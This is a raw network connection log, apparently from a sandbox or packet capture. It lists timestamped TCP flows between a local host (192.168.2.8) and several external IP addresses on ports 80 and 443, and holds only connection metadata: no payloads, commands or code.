Nov 23, 2024 21:15:26.640511990 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:26.640784025 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:26.640820980 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:26.649275064 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:26.649813890 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:26.749901056 CET	80	49719	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:26.769777060 CET	80	49721	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:26.771810055 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:26.772128105 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:26.773847103 CET	80	49713	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:26.775981903 CET	49713	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:26.829148054 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:26.829173088 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:26.829188108 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:26.829637051 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:26.829637051 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:26.829648018 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:26.830744028 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:26.892234087 CET	80	49721	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:27.024966955 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.025001049 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.025145054 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.025152922 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.025259972 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.064088106 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.064121008 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.064300060 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.064316988 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.064919949 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.196363926 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.196428061 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.196443081 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.196455002 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.196480989 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.196501970 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.231218100 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.231273890 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.231311083 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.231328011 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.231364965 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.231391907 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.252827883 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.252876997 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.252974987 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.252988100 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.253036022 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.272803068 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.272845984 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.272866964 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.272877932 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.272921085 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.272938013 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.394931078 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.394953966 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.394995928 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.395004988 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.395050049 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.414905071 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.414994001 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.415426016 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.415488958 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.436768055 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.436788082 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.436866999 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.436878920 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.436923981 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.453475952 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.453538895 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.453574896 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.453588963 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.453628063 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.470176935 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.470212936 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.470274925 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.470290899 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.470320940 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.470341921 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.471662998 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.471741915 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.471796036 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.472465038 CET	49718	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.472481012 CET	443	49718	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.504093885 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504131079 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504142046 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.504178047 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.504214048 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504241943 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504492044 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504503965 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.504587889 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.504596949 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.505855083 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.505882978 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.506001949 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.506824017 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.506836891 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.508136034 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.508146048 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.508202076 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.508505106 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.508508921 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.509146929 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.509156942 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.509207010 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.509381056 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:27.509390116 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:27.948426008 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:27.948523045 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:27.950145006 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:27.950176001 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:27.950428009 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:27.951829910 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:27.952022076 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:27.952060938 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:27.952133894 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:27.952150106 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:28.007531881 CET	80	49719	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:28.007611990 CET	49719	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:28.010251999 CET	49719	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:28.134459972 CET	80	49719	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:28.170206070 CET	80	49721	185.215.113.43	192.168.2.8
Nov 23, 2024 21:15:28.170301914 CET	49721	80	192.168.2.8	185.215.113.43
Nov 23, 2024 21:15:28.172594070 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:28.172897100 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:28.299171925 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:28.299288988 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:28.299427986 CET	80	49715	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:28.299458027 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:28.299499035 CET	49715	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:28.426999092 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:28.464632988 CET	80	49719	185.215.113.206	192.168.2.8
Nov 23, 2024 21:15:28.464725971 CET	49719	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:28.716177940 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:28.716270924 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:28.716377020 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:28.716552019 CET	49720	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:28.716613054 CET	443	49720	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:29.309338093 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.309940100 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.309966087 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.310395002 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.310400963 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.322675943 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:29.322711945 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:29.323785067 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:29.324249983 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:29.324260950 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:29.536071062 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.539832115 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.564059019 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.584363937 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.591161966 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.592756987 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.592763901 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.593245983 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.593251944 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.593502045 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.593506098 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.593908072 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.593911886 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.594799042 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.594830990 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.595206022 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.595212936 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.607338905 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.643637896 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.643663883 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.648005009 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.648010015 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.748600960 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.748672009 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.748786926 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.757621050 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.757654905 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.757708073 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.757736921 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.758481026 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.758522034 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.758532047 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.758546114 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.758591890 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.758591890 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.758954048 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.758985043 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.758999109 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.759001017 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.759023905 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.759032965 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.759766102 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.759907007 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.759953976 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.784521103 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.784554005 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.784569979 CET	49726	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.784575939 CET	443	49726	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.788516998 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.788548946 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.788628101 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.788897038 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.788912058 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.884547949 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.884619951 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.884708881 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.889024019 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.889070988 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.889139891 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.960577011 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.960611105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.960681915 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.960681915 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.963119030 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.963310003 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.963392973 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.972178936 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.972287893 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.972311020 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.972337961 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.978945971 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.979125977 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.979211092 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.979211092 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.987880945 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.987932920 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.987994909 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.988073111 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.988425970 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.988450050 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.988490105 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.988512039 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.989162922 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.989237070 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.989242077 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.989259005 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.989413977 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.989438057 CET	443	49725	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.990231037 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.990251064 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.990282059 CET	49725	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.990326881 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.990334034 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.990709066 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.990721941 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.990731001 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.991034985 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.991108894 CET	443	49727	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.991445065 CET	49727	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.992311001 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.992340088 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.992402077 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.993081093 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.993120909 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.993218899 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.993228912 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.993242025 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.993356943 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:29.993369102 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:29.996870041 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.996922016 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:29.996931076 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:29.997920036 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.005865097 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.005903006 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.005966902 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.015347958 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.015387058 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.015405893 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.015430927 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.017724037 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.017916918 CET	443	49724	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.018075943 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.018075943 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.018075943 CET	49724	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.020447016 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.020543098 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.020682096 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.020807981 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.020843029 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.023806095 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.023847103 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.023857117 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.023895979 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.031876087 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.031940937 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.031995058 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.032119036 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.039558887 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.039612055 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.039616108 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.039669991 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.095899105 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.095931053 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.095978975 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.095993042 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.096045017 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.096261978 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.096283913 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.096293926 CET	49723	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.096299887 CET	443	49723	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.099102974 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.099123955 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.099186897 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.099354982 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:30.099364042 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:30.127763033 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.127880096 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.130426884 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.131544113 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.131608009 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.161778927 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.161847115 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.161894083 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.161945105 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.164288044 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.164354086 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.165111065 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.165185928 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.165221930 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.165328979 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.170166016 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.170236111 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.170299053 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.170397997 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.175167084 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.175231934 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.175295115 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.175375938 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.180059910 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.180115938 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.180160046 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.180252075 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.185302973 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.185396910 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.185472965 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.189738989 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.189820051 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.189829111 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.189903021 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:30.194547892 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:30.194567919 CET	80	49728	185.215.113.16	192.168.2.8
